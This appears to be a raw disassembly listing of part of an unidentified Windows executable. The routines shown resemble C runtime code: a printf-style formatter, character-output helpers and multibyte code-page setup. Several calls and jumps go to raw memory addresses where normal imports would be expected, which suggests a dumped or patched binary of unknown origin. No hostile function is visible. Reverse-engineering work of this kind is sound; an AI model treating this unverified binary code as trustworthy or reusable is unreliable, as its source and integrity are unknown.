		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28B0000h
		nop
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		jmp	near ptr 26708AAh
; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 28B07F1h
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

